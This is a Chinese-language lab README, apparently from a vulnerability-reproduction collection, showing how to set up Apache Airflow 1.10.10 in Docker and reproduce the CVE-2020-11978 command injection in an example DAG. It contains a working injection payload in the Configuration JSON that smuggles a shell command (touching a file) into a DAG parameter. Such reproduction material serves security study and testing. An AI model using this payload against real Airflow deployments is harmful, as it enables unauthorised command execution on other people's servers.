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# Apache Airflow 示例dag中的命令注入CVE-2020-11978
Apache Airflow是一款开源的分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
由于启动的组件比较多可能会有点卡运行此环境可能需要准备2G以上的内存。
参考链接:
- <https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx>
- <https://github.com/pberba/CVE-2020-11978>
## 漏洞环境
依次执行如下命令启动airflow 1.10.10
```bash
#初始化数据库
docker compose run airflow-init
#启动服务
docker compose up -d
```
## 漏洞复现
访问`http://your-ip:8080`进入airflow管理端`example_trigger_target_dag`前面的Off改为On
![](1.png)
再点击执行按钮在Configuration JSON中输入`{"message":"'\";touch /tmp/airflow_dag_success;#"}`,再点`Trigger`执行dag
![](2.png)
等几秒可以看到执行成功:
![](3.png)
到CeleryWorker容器中进行查看
```bash
docker compose exec airflow-worker ls -l /tmp
```
可以看到`touch /tmp/airflow_dag_success`成功被执行:
![](4.png)